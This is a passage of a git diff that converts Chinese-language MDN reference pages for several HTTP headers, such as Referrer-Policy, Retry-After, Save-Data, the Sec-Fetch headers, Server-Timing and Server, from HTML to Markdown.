    在任何情况下,仅发送文件的源作为引用地址。例如 https://example.com/page.html 会将 https://example.com/ 作为引用地址。
    -
    origin-when-cross-origin
    -
    对于同源的请求,会发送完整的 URL 作为引用地址,但是对于非同源请求仅发送文件的源。
    -
    same-origin
    -
    对于同源的请求会发送引用地址,但是对于非同源请求则不发送引用地址信息。
    -
    strict-origin
    -
    在同等安全级别的情况下,发送文件的源作为引用地址 (HTTPS->HTTPS),但是在降级的情况下不会发送 (HTTPS->HTTP)。
    -
    strict-origin-when-cross-origin
    -
    对于同源的请求,会发送完整的 URL 作为引用地址;在同等安全级别的情况下,发送文件的源作为引用地址 (HTTPS->HTTPS);在降级的情况下不发送此首部 (HTTPS->HTTP)。
    -
    unsafe-url
    -
    无论是同源请求还是非同源请求,都发送完整的 URL(移除参数信息之后)作为引用地址。 -
    这项设置会将受 TLS 安全协议保护的资源的源和路径信息泄露给非安全的源服务器。进行此项设置的时候要慎重考虑。
    -
    -
    - -

    集成到 HTML

    - -

    你也可以在 HTML 内设置 referrer 策略。例如,你可以用一个 name 为 referrer 的 {{HTMLElement("meta")}} 元素为整个文档设置 referrer 策略。

    - -
    <meta name="referrer" content="origin">
    - -

    或者用 {{HTMLElement("a")}}、{{HTMLElement("area")}}、{{HTMLElement("img")}}、{{HTMLElement("iframe")}}、{{HTMLElement("script")}} 或者 {{HTMLElement("link")}} 元素上的 referrerpolicy 属性为其设置独立的请求策略。

    - -
    <a href="http://example.com" referrerpolicy="origin">
    - -

    另外也可以在 {{HTMLElement("a")}}、{{HTMLElement("area")}} 或者 {{HTMLElement("link")}} 元素上将 rel 属性设置为 noreferrer

    - -
    <a href="http://example.com" rel="noreferrer">
    - -

    集成到 CSS

    - -

    CSS 可以从样式表获取引用的资源,这些资源也可以遵从 referrer 策略:

    - -
      -
    • 外部 CSS 样式表使用默认策略 (no-referrer-when-downgrade),除非 CSS 样式表的响应消息通过 Referrer-Policy 首部覆盖该策略。
    • -
    • 对于 {{HTMLElement("style")}} 元素或 style 属性,则遵从文档的 referrer 策略。
    • -
    - -

    示例

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    PolicyDocumentNavigation toReferrer
    no-referrerhttps://example.com/page.htmlany domain or pathno referrer
    no-referrer-when-downgradehttps://example.com/page.htmlhttps://example.com/otherpage.htmlhttps://example.com/page.html
    no-referrer-when-downgradehttps://example.com/page.htmlhttps://mozilla.orghttps://example.com/page.html
    no-referrer-when-downgradehttps://example.com/page.htmlhttp://example.orgno referrer
    originhttps://example.com/page.htmlany domain or pathhttps://example.com/
    origin-when-cross-originhttps://example.com/page.htmlhttps://example.com/otherpage.htmlhttps://example.com/page.html
    origin-when-cross-originhttps://example.com/page.htmlhttps://mozilla.orghttps://example.com/
    origin-when-cross-originhttps://example.com/page.htmlhttp://example.com/page.htmlhttps://example.com/
    same-originhttps://example.com/page.htmlhttps://example.com/otherpage.htmlhttps://example.com/page.html
    same-originhttps://example.com/page.htmlhttps://mozilla.orgno referrer
    strict-originhttps://example.com/page.htmlhttps://mozilla.orghttps://example.com/
    strict-originhttps://example.com/page.htmlhttp://example.orgno referrer
    strict-originhttp://example.com/page.htmlany domain or pathhttp://example.com/
    strict-origin-when-cross-originhttps://example.com/page.htmlhttps://example.com/otherpage.htmlhttps://example.com/page.html
    strict-origin-when-cross-originhttps://example.com/page.htmlhttps://mozilla.orghttps://example.com/
    strict-origin-when-cross-originhttps://example.com/page.htmlhttp://example.orgno referrer
    unsafe-urlhttps://example.com/page.htmlany domain or pathhttps://example.com/page.html
    - -

    指定后备策略

    - -

    如果你要为那些策略未获广泛的浏览器支持的情况指定一种后备策略,使用逗号分隔的列表,并将希望使用的策略放在最后:

    - -
    Referrer-Policy: no-referrer, strict-origin-when-cross-origin
    - -

    在上面的场景中,no-referrer 仅在 strict-origin-when-cross-origin 不被浏览器支持的情况下被使用。

    - -

    规范

    +``` + +## 指令 + +- no-referrer + - : 整个 {{HTTPHeader("Referer")}} 首部会被移除。访问来源信息不随着请求一起发送。 +- no-referrer-when-downgrade(默认值) + - : 在没有指定任何策略的情况下用户代理的默认行为。在同等安全级别的情况下,引用页面的地址会被发送 (HTTPS->HTTPS),但是在降级的情况下不会被发送 (HTTPS->HTTP)。 +- origin + - : 在任何情况下,仅发送文件的源作为引用地址。例如 `https://example.com/page.html` 会将 `https://example.com/ 作为引用地址。` +- origin-when-cross-origin + - : 对于同源的请求,会发送完整的 URL 作为引用地址,但是对于非同源请求仅发送文件的源。 +- same-origin + - : 对于[同源的请求](/zh-CN/docs/Web/Security/Same-origin_policy)会发送引用地址,但是对于非同源请求则不发送引用地址信息。 +- strict-origin + - : 在同等安全级别的情况下,发送文件的源作为引用地址 (HTTPS->HTTPS),但是在降级的情况下不会发送 (HTTPS->HTTP)。 +- strict-origin-when-cross-origin + - : 对于同源的请求,会发送完整的 URL 作为引用地址;在同等安全级别的情况下,发送文件的源作为引用地址 (HTTPS->HTTPS);在降级的情况下不发送此首部 (HTTPS->HTTP)。 +- unsafe-url + - : 无论是同源请求还是非同源请求,都发送完整的 URL(移除参数信息之后)作为引用地址。 + + > **备注:** 这项设置会将受 TLS 安全协议保护的资源的源和路径信息泄露给非安全的源服务器。进行此项设置的时候要慎重考虑。 + +## 集成到 HTML + +你也可以在 HTML 内设置 referrer 策略。例如,你可以用一个 name 为 referrer 的 {{HTMLElement("meta")}} 元素为整个文档设置 referrer 策略。 + +```plain + +``` + +或者用 {{HTMLElement("a")}}、{{HTMLElement("area")}}、{{HTMLElement("img")}}、{{HTMLElement("iframe")}}、{{HTMLElement("script")}} 或者 {{HTMLElement("link")}} 元素上的 `referrerpolicy` 属性为其设置独立的请求策略。 + +```plain + +``` + +另外也可以在 {{HTMLElement("a")}}、{{HTMLElement("area")}} 或者 {{HTMLElement("link")}} 元素上将 `rel` 属性设置为 `noreferrer`。 + +```plain + +``` + +## 集成到 CSS + +CSS 可以从样式表获取引用的资源,这些资源也可以遵从 referrer 策略: + +- 外部 CSS 样式表使用默认策略 (`no-referrer-when-downgrade`),除非 CSS 样式表的响应消息通过 `Referrer-Policy` 首部覆盖该策略。 +- 对于 {{HTMLElement("style")}} 元素或 [`style`](/zh-CN/docs/Web/API/HTMLElement/style) 属性,则遵从文档的 referrer 策略。 + +## 示例 + +| Policy | Document | Navigation to | Referrer | +| ------------------------------------- | -------------------------------- | ---------------------------------- | ----------------------------- | +| **`no-referrer`** | https://example.com/page.html | any domain or path | no referrer | +| **`no-referrer-when-downgrade`** | https://example.com/page.html | https://example.com/otherpage.html | https://example.com/page.html | +| **`no-referrer-when-downgrade`** | https://example.com/page.html | https://mozilla.org | https://example.com/page.html | +| **`no-referrer-when-downgrade`** | https://example.com/page.html | **http**://example.org | no referrer | +| **`origin`** | https://example.com/page.html | any domain or path | https://example.com/ | +| **`origin-when-cross-origin`** | https://example.com/page.html | https://example.com/otherpage.html | https://example.com/page.html | +| **`origin-when-cross-origin`** | https://example.com/page.html | https://mozilla.org | https://example.com/ | +| **`origin-when-cross-origin`** | https://example.com/page.html | **http**://example.com/page.html | https://example.com/ | +| **`same-origin`** | https://example.com/page.html | https://example.com/otherpage.html | https://example.com/page.html | +| **`same-origin`** | https://example.com/page.html | https://mozilla.org | no referrer | +| **`strict-origin`** | https://example.com/page.html | https://mozilla.org | https://example.com/ | +| **`strict-origin`** | https://example.com/page.html | **http**://example.org | no referrer | +| **`strict-origin`** | **http**://example.com/page.html | any domain or path | http://example.com/ | +| **`strict-origin-when-cross-origin`** | https://example.com/page.html | https://example.com/otherpage.html | https://example.com/page.html | +| **`strict-origin-when-cross-origin`** | https://example.com/page.html | https://mozilla.org | https://example.com/ | +| **`strict-origin-when-cross-origin`** | https://example.com/page.html | **http**://example.org | no referrer | +| **`unsafe-url`** | https://example.com/page.html | any domain or path | https://example.com/page.html | + +### 指定后备策略 + +如果你要为那些策略未获广泛的浏览器支持的情况指定一种后备策略,使用逗号分隔的列表,并将希望使用的策略放在最后: + +```plain +Referrer-Policy: no-referrer, strict-origin-when-cross-origin +``` + +在上面的场景中,`no-referrer` 仅在 `strict-origin-when-cross-origin` 不被浏览器支持的情况下被使用。 + +## 规范 {{Specifications}} -

    浏览器兼容性

    - -

    {{Compat}}

    - -

    注意: 从版本 53 起,Gecko 在 about:config 中提供了一项偏好设置,使得用户可以自行设定默认的 Referrer-Policy 值 —— network.http.referer.userControlPolicy 。可选的值包括:

    - -
      -
    • 0 — no-referrer
    • -
    • 1 — same-origin
    • -
    • 2 — strict-origin-when-cross-origin
    • -
    • 3 — no-referrer-when-downgrade (the default)
    • -
    - -

    相关内容

    - -
    +## 浏览器兼容性 + +{{Compat}} + +**注意:** 从版本 53 起,Gecko 在 about:config 中提供了一项偏好设置,使得用户可以自行设定默认的 Referrer-Policy 值 —— network.http.referer.userControlPolicy 。可选的值包括: + +- 0 — `no-referrer` +- 1 — `same-origin` +- 2 — `strict-origin-when-cross-origin` +- 3 — `no-referrer-when-downgrade` (the default) + +## 相关内容 + +- [HTTP referer on Wikipedia](https://zh.wikipedia.org/wiki/HTTP_referer) +- 其他设定页面引用策略的方式: + + - A {{HTMLElement("meta")}} element with a [name of `referrer`](/zh-CN/docs/Web/HTML/Element/meta#attr-name). + - A `referrerpolicy` attribute on an {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, or {{HTMLElement("link")}} element. + - The `noreferrer` link relation on an a, area, or link element (`rel="noreferrer"`). + - When using [Fetch](/zh-CN/docs/Web/API/Fetch_API): {{domxref("Request.referrerPolicy")}} + +- [同源策略](/zh-CN/docs/Web/Security/Same-origin_policy) +- [Tighter Control Over Your Referrers – Mozilla Security Blog](https://blog.mozilla.org/security/2015/01/21/meta-referrer/) diff --git a/files/zh-cn/web/http/headers/retry-after/index.md b/files/zh-cn/web/http/headers/retry-after/index.md index e956d516612374..6ee2322f596558 100644 --- a/files/zh-cn/web/http/headers/retry-after/index.md +++ b/files/zh-cn/web/http/headers/retry-after/index.md @@ -5,65 +5,52 @@ tags: - 响应首部 translation_of: Web/HTTP/Headers/Retry-After --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    在 HTTP 协议中,响应首部 Retry-After 表示用户代理需要等待多长时间之后才能继续发送请求。这个首部主要应用于以下两种场景:

    +在 HTTP 协议中,响应首部 **`Retry-After`** 表示用户代理需要等待多长时间之后才能继续发送请求。这个首部主要应用于以下两种场景: -
      -
    • 当与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送的时候,表示服务下线的预期时长。
    • -
    • 当与重定向响应一起发送的时候,比如 {{HTTPStatus(301)}} (Moved Permanently,永久迁移),表示用户代理在发送重定向请求之前需要等待的最短时间。
    • -
    +- 当与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送的时候,表示服务下线的预期时长。 +- 当与重定向响应一起发送的时候,比如 {{HTTPStatus(301)}} (Moved Permanently,永久迁移),表示用户代理在发送重定向请求之前需要等待的最短时间。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Retry-After: <http-date>
    -Retry-After: <delay-seconds>
    -
    +```plain +Retry-After: +Retry-After: +``` -

    指令

    +## 指令 -
    -
    <http-date>
    -
    表示在此时间之后可以重新尝试。参见 {{HTTPHeader("Date")}} 首部来获取 HTTP 协议中关于日期格式的细节信息。
    -
    <delay-seconds>
    -
    一个非负的十进制整数,表示在重试之前需要等待的秒数。
    -
    +- \ + - : 表示在此时间之后可以重新尝试。参见 {{HTTPHeader("Date")}} 首部来获取 HTTP 协议中关于日期格式的细节信息。 +- \ + - : 一个非负的十进制整数,表示在重试之前需要等待的秒数。 -

    示例

    +## 示例 -

    对于计划内宕机时间的处理

    +### 对于计划内宕机时间的处理 -

    不同的客户端与服务器端应用对于 Retry-After 首部的支持依然不太一致。不过,一些爬虫程序,比如谷歌的爬虫程序 Googlebot,会遵循 Retry-After 首部的规则。将其与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送有助于互联网引擎做出判断,在宕机结束之后继续对网站构建索引。

    +不同的客户端与服务器端应用对于 Retry-After 首部的支持依然不太一致。不过,一些爬虫程序,比如谷歌的爬虫程序 Googlebot,会遵循 Retry-After 首部的规则。将其与 {{HTTPStatus(503)}} (Service Unavailable,当前服务不存在) 响应一起发送有助于互联网引擎做出判断,在宕机结束之后继续对网站构建索引。 -
    Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
    +```plain
    +Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
     Retry-After: 120
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- [Google Webmaster blog: How to deal with planned site downtime](https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html) +- {{HTTPStatus(503)}} (Service Unavailable) +- {{HTTPStatus(301)}} (Moved Permanently) diff --git a/files/zh-cn/web/http/headers/save-data/index.md b/files/zh-cn/web/http/headers/save-data/index.md index da6244715bf7ac..88a5e0a6f45c2b 100644 --- a/files/zh-cn/web/http/headers/save-data/index.md +++ b/files/zh-cn/web/http/headers/save-data/index.md @@ -10,82 +10,83 @@ tags: - header translation_of: Web/HTTP/Headers/Save-Data --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Save-Data 请求头字段是一个布尔值,在请求中,表示客户端对减少数据使用量的偏好。 这可能是传输成本高,连接速度慢等原因。

    +Save-Data 请求头字段是一个布尔值,在请求中,表示客户端对减少数据使用量的偏好。 这可能是传输成本高,连接速度慢等原因。 -

    值为 on 时,明确表示用户选择使用客户端简化数据使用模式,并且当与源进行通信时允许他们提供替代内容以减少下载的数据,例如较小的图像和视频资源,不同的标记和样式,禁用轮询和自动更新等。

    +值为 on 时,明确表示用户选择使用客户端简化数据使用模式,并且当与源进行通信时允许他们提供替代内容以减少下载的数据,例如较小的图像和视频资源,不同的标记和样式,禁用轮询和自动更新等。 -
    -

    提示: 禁用 HTTP/2 服务器端推送 ({{RFC("7540", "Server Push", "8.2")}}) 也可以用于减少数据下载。

    -
    +> **备注:** 禁用 HTTP/2 服务器端推送 ({{RFC("7540", "Server Push", "8.2")}}) 也可以用于减少数据下载。 -

    语法

    +## 语法 -
    Save-Data: <sd-token>
    +```plain +Save-Data: +``` -

    指令

    +## 指令 -
    -
    <sd-token>
    -
    一个数值,表示客户端是否想要选择简化数据使用模式。 on 表示是,而 off(默认值)表示不。
    -
    +- <`sd-token`> + - : 一个数值,表示客户端是否想要选择简化数据使用模式。 on 表示是,而 off(默认值)表示不。 -

    示例

    +## 示例 -

    请求头{{HTTPHeader("Vary")}} 确保正确缓存内容(例如,当 Save-Data 标头不再存在时,确保不从缓存向用户提供较低质量的图像 [例如在从蜂窝网络切换到 Wi-Fi 后])

    +请求头{{HTTPHeader("Vary")}} 确保正确缓存内容(例如,当 Save-Data 标头不再存在时,确保不从缓存向用户提供较低质量的图像 \[例如在从蜂窝网络切换到 Wi-Fi 后]) -

    携带 Save-Data: on 请求头

    +### 携带 `Save-Data: on` 请求头 -

    请求示例:

    +请求示例: -
    GET /image.jpg HTTP/1.0
    +```plain
    +GET /image.jpg HTTP/1.0
     Host: example.com
    -Save-Data: on
    +Save-Data: on +``` -

    响应示例:

    +响应示例: -
    HTTP/1.0 200 OK
    +```plain
    +HTTP/1.0 200 OK
     Content-Length: 102832
     Vary: Accept-Encoding, Save-Data
     Cache-Control: public, max-age=31536000
     Content-Type: image/jpeg
     
     [...]
    -
    +``` -

    不携带 Save-Data 请求头

    +### 不携带 `Save-Data 请求头` -

    请求示例:

    +请求示例: -
    GET /image.jpg HTTP/1.0
    +```plain
    +GET /image.jpg HTTP/1.0
     Host: example.com
    -
    +``` -

    响应示例:

    +响应示例: -
    HTTP/1.0 200 OK
    +```plain
    +HTTP/1.0 200 OK
     Content-Length: 481770
     Vary: Accept-Encoding, Save-Data
     Cache-Control: public, max-age=31536000
     Content-Type: image/jpeg
     
     [...]
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- [Help Your Users \`Save-Data\` - CSS Tricks](https://css-tricks.com/help-users-save-data/) +- [Delivering Fast and Light Applications with Save-Data - Google Developers](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/save-data/) +- [Network Information API - WICG](https://wicg.github.io/netinfo/#save-data-request-header-field) +- Header to indicate that the content served varies by `Save-Data`: {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/sec-fetch-mode/index.md b/files/zh-cn/web/http/headers/sec-fetch-mode/index.md index 7135f7f5a40f92..d693b625b65897 100644 --- a/files/zh-cn/web/http/headers/sec-fetch-mode/index.md +++ b/files/zh-cn/web/http/headers/sec-fetch-mode/index.md @@ -3,72 +3,55 @@ title: Sec-Fetch-Mode slug: Web/HTTP/Headers/Sec-Fetch-Mode translation_of: Web/HTTP/Headers/Sec-Fetch-Mode --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Sec-Fetch-Mode 获取元数据标头表明了一个请求的模式。

    +**`Sec-Fetch-Mode`** 获取元数据标头表明了一个请求的模式。 - - - - - - - - - - - - - - - -
    Header type{{Glossary("Fetch Metadata Request Header")}}
    {{Glossary("Forbidden header name")}}只要包含前缀 Sec- 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权
    {{Glossary("CORS-safelisted request header")}}
    +| Header type | {{Glossary("Fetch Metadata Request Header")}} | +| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | 只要包含前缀 `Sec-` 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权 | +| {{Glossary("CORS-safelisted request header")}} | | -

    语法

    +## 语法 -
    Sec-Fetch-Mode: cors
    +```plain
    +Sec-Fetch-Mode: cors
     Sec-Fetch-Mode: navigate
     Sec-Fetch-Mode: nested-navigate
     Sec-Fetch-Mode: no-cors
     Sec-Fetch-Mode: same-origin
     Sec-Fetch-Mode: websocket
    -
    +``` -

    +## 值 -
    -
    cors
    -
    TBD
    -
    navigate
    -
    TBD
    -
    nested-navigate
    -
    TBD
    -
    no-cors
    -
    TBD
    -
    same-origin
    -
    TBD
    -
    websocket
    -
    TBD
    -
    +- `cors` + - : TBD +- `navigate` + - : TBD +- `nested-navigate` + - : TBD +- `no-cors` + - : TBD +- `same-origin` + - : TBD +- `websocket` + - : TBD -

    示例

    +## 示例 -

    暂时没有内容

    +暂时没有内容 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 另请参阅 -

    {{Compat}}

    - -

    另请参阅

    - -
      -
    • {{HTTPHeader("Sec-Fetch-Site")}}
    • -
    • {{HTTPHeader("Sec-Fetch-User")}}
    • -
    • {{HTTPHeader("Sec-Fetch-Dest")}}
    • -
    +- {{HTTPHeader("Sec-Fetch-Site")}} +- {{HTTPHeader("Sec-Fetch-User")}} +- {{HTTPHeader("Sec-Fetch-Dest")}} diff --git a/files/zh-cn/web/http/headers/sec-fetch-site/index.md b/files/zh-cn/web/http/headers/sec-fetch-site/index.md index 906f662a468ca9..5ff324e222573b 100644 --- a/files/zh-cn/web/http/headers/sec-fetch-site/index.md +++ b/files/zh-cn/web/http/headers/sec-fetch-site/index.md @@ -3,70 +3,50 @@ title: Sec-Fetch-Site slug: Web/HTTP/Headers/Sec-Fetch-Site translation_of: Web/HTTP/Headers/Sec-Fetch-Site --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Sec-Fetch-Site 获取元数据标头表明了一个请求发起者的来源与目标资源来源之间的关系。

    +**`Sec-Fetch-Site`** 获取元数据标头表明了一个请求发起者的来源与目标资源来源之间的关系。 - - - - - - - - - - - - - - - - - - - -
    Header type{{Glossary("Fetch Metadata Request Header")}}
    {{Glossary("Forbidden header name")}}只要包含前缀 Sec- 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权
    {{Glossary("CORS-safelisted response header")}}
    {{Glossary("CORS-safelisted request header")}}
    +| Header type | {{Glossary("Fetch Metadata Request Header")}} | +| ---------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | 只要包含前缀 `Sec-` 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权 | +| {{Glossary("CORS-safelisted response header")}} | | +| {{Glossary("CORS-safelisted request header")}} | | -

    语法

    +## 语法 -
    Sec-Fetch-Site: cross-site
    +```plain
    +Sec-Fetch-Site: cross-site
     Sec-Fetch-Site: same-origin
     Sec-Fetch-Site: same-site
     Sec-Fetch-Site: none
    -
    +``` -

    +## 值 -
    -
    cross-site
    -
    TBD
    -
    same-origin
    -
    TBD
    -
    same-site
    -
    TBD
    -
    none
    -
    这一请求与任意上下文无关,例如站点、源,或者框架。当用户采用某些方式发起请求时该值会被使用,例如:直接在地址栏中输入 URL、打开一个书签,或者往浏览器窗口中拖放一个文件。
    -
    +- `cross-site` + - : TBD +- `same-origin` + - : TBD +- `same-site` + - : TBD +- `none` + - : 这一请求与任意上下文无关,例如站点、源,或者框架。当用户采用某些方式发起请求时该值会被使用,例如:直接在地址栏中输入 URL、打开一个书签,或者往浏览器窗口中拖放一个文件。 -

    示例

    +## 示例 -

    暂时没有内容

    +暂时没有内容 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 另请参阅 -

    {{Compat}}

    - -

    另请参阅

    - -
      -
    • {{HTTPHeader("Sec-Fetch-Mode")}}
    • -
    • {{HTTPHeader("Sec-Fetch-User")}}
    • -
    • {{HTTPHeader("Sec-Fetch-Dest")}}
    • -
    +- {{HTTPHeader("Sec-Fetch-Mode")}} +- {{HTTPHeader("Sec-Fetch-User")}} +- {{HTTPHeader("Sec-Fetch-Dest")}} diff --git a/files/zh-cn/web/http/headers/sec-fetch-user/index.md b/files/zh-cn/web/http/headers/sec-fetch-user/index.md index ec9785a9f61d0d..06ff276d706abf 100644 --- a/files/zh-cn/web/http/headers/sec-fetch-user/index.md +++ b/files/zh-cn/web/http/headers/sec-fetch-user/index.md @@ -3,62 +3,45 @@ title: Sec-Fetch-User slug: Web/HTTP/Headers/Sec-Fetch-User translation_of: Web/HTTP/Headers/Sec-Fetch-User --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Sec-Fetch-User 获取元数据标头表明了一个导航请求是否由用户激活触发。

    +**`Sec-Fetch-User`** 获取元数据标头表明了一个导航请求是否由用户激活触发。 - - - - - - - - - - - - - - - -
    Header type{{Glossary("Fetch Metadata Request Header")}}
    {{Glossary("Forbidden header name")}}只要包含前缀 Sec- 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权
    {{Glossary("CORS-safelisted request header")}}
    +| Header type | {{Glossary("Fetch Metadata Request Header")}} | +| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------- | +| {{Glossary("Forbidden header name")}} | 只要包含前缀 `Sec-` 都属于应用程序禁止修改的 HTTP 消息头,用户代理保留全部对它们的控制权 | +| {{Glossary("CORS-safelisted request header")}} | | -

    语法

    +## 语法 -
    Sec-Fetch-User: ?0
    +```plain
    +Sec-Fetch-User: ?0
     Sec-Fetch-User: ?1
    -
    +``` -

    +## 值 -

    该值是一个布尔结构化的标头。

    +该值是一个布尔结构化的标头。 -
    -
    ?0
    -
    导航请求由用户激活触发。
    -
    ?1
    -
    导航请求由用户激活以外的原因触发。
    -
    +- `?0` + - : 导航请求由用户激活触发。 +- `?1` + - : 导航请求由用户激活以外的原因触发。 -

    示例

    +## 示例 -

    暂时没有内容

    +暂时没有内容 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 另请参阅 -

    {{Compat}}

    - -

    另请参阅

    - -
      -
    • {{HTTPHeader("Sec-Fetch-Dest")}}
    • -
    • {{HTTPHeader("Sec-Fetch-Mode")}}
    • -
    • {{HTTPHeader("Sec-Fetch-Site")}}
    • -
    +- {{HTTPHeader("Sec-Fetch-Dest")}} +- {{HTTPHeader("Sec-Fetch-Mode")}} +- {{HTTPHeader("Sec-Fetch-Site")}} diff --git a/files/zh-cn/web/http/headers/server-timing/index.md b/files/zh-cn/web/http/headers/server-timing/index.md index f8a2788929eb6b..c226cff01a0ac4 100644 --- a/files/zh-cn/web/http/headers/server-timing/index.md +++ b/files/zh-cn/web/http/headers/server-timing/index.md @@ -8,30 +8,22 @@ tags: - header translation_of: Web/HTTP/Headers/Server-Timing --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Server-Timing 标头传达在一个给定请求 - 响应周期中的一个或多个参数和描述。它用于在用户浏览器的开发工具或 {{domxref("PerformanceServerTiming")}} 接口中显示任何后端服务器定时参数(例如,数据库读/写、CPU 时间、文件系统访问等)。

    +**`Server-Timing`** 标头传达在一个给定请求 - 响应周期中的一个或多个参数和描述。它用于在用户浏览器的开发工具或 {{domxref("PerformanceServerTiming")}} 接口中显示任何后端服务器定时参数(例如,数据库读/写、CPU 时间、文件系统访问等)。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -

    Server-Timing 头的语法允许您以不同方式传达参数:仅服务器参数名称,具有值的参数,具有值和描述的度参数以及具有描述的参数。

    +`Server-Timing` 头的语法允许您以不同方式传达参数:仅服务器参数名称,具有值的参数,具有值和描述的度参数以及具有描述的参数。 -

    规范建议名称和描述应尽可能短(使用缩写并在可能的情况下省略可选值)以最小化 HTTP 开销。

    +规范建议名称和描述应尽可能短(使用缩写并在可能的情况下省略可选值)以最小化 HTTP 开销。 -
    // Single metric without value
    +```plain
    +// Single metric without value
     Server-Timing: missedCache
     
     // Single metric with value
    @@ -47,26 +39,24 @@ Server-Timing: db;dur=53, app;dur=47.2
     Trailer: Server-Timing
     --- response body ---
     Server-Timing: total;dur=123.4
    -
    +``` -

    保密性与安全性

    +## 保密性与安全性 -

    Server-Timing 头可能会暴露潜在的敏感应用程序和基础设备信息。请考虑在服务器端控制何时向谁返回哪些参数信息。例如,您只能向经过身份验证的用户显示参数信息,而不能向公众显示。

    +`Server-Timing` 头可能会暴露潜在的敏感应用程序和基础设备信息。请考虑在服务器端控制何时向谁返回哪些参数信息。例如,您只能向经过身份验证的用户显示参数信息,而不能向公众显示。 -

    PerformanceServerTiming 接口

    +## PerformanceServerTiming 接口 -

    除了在浏览器的开发工具中显示 Server-Timing 外,{{domxref("PerformanceServerTiming")}} 接口允许工具自动收集和处理 JavaScript 中的参数。此接口仅限于相同的源下使用,但您可以使用 {{HTTPHeader("Timing-Allow-Origin")}} 头指定允许访问服务器参数的域。该接口仅在某些浏览器中的安全上下文(HTTPS)中可用。

    +除了在浏览器的开发工具中显示 `Server-Timing` 外,{{domxref("PerformanceServerTiming")}} 接口允许工具自动收集和处理 JavaScript 中的参数。此接口仅限于相同的源下使用,但您可以使用 {{HTTPHeader("Timing-Allow-Origin")}} 头指定允许访问服务器参数的域。该接口仅在某些浏览器中的安全上下文(HTTPS)中可用。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{domxref("PerformanceServerTiming")}}
    • -
    +- {{domxref("PerformanceServerTiming")}} diff --git a/files/zh-cn/web/http/headers/server/index.md b/files/zh-cn/web/http/headers/server/index.md index d0d9dfc1148a85..9ce685fd650ee8 100644 --- a/files/zh-cn/web/http/headers/server/index.md +++ b/files/zh-cn/web/http/headers/server/index.md @@ -8,51 +8,41 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Server --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Server 首部包含了处理请求的源头服务器所用到的软件相关信息。

    +**`Server`** 首部包含了处理请求的源头服务器所用到的软件相关信息。 -

    应该避免使用过长或者过于详细的描述作为 Server 的值,因为这有可能泄露服务器的内部实现细节,有利于攻击者找到或者探测已知的安全漏洞。

    +应该避免使用过长或者过于详细的描述作为 Server 的值,因为这有可能泄露服务器的内部实现细节,有利于攻击者找到或者探测已知的安全漏洞。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Server: <product>
    -
    +```plain +Server: +``` -

    指令

    +## 指令 -
    -
    <product>
    -
    处理请求的软件或者产品(或组件产品)的名称。
    -
    +- \ + - : 处理请求的软件或者产品(或组件产品)的名称。 -

    示例

    +## 示例 -
    Server: Apache/2.4.1 (Unix)
    +```plain +Server: Apache/2.4.1 (Unix) +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Allow")}}
    • -
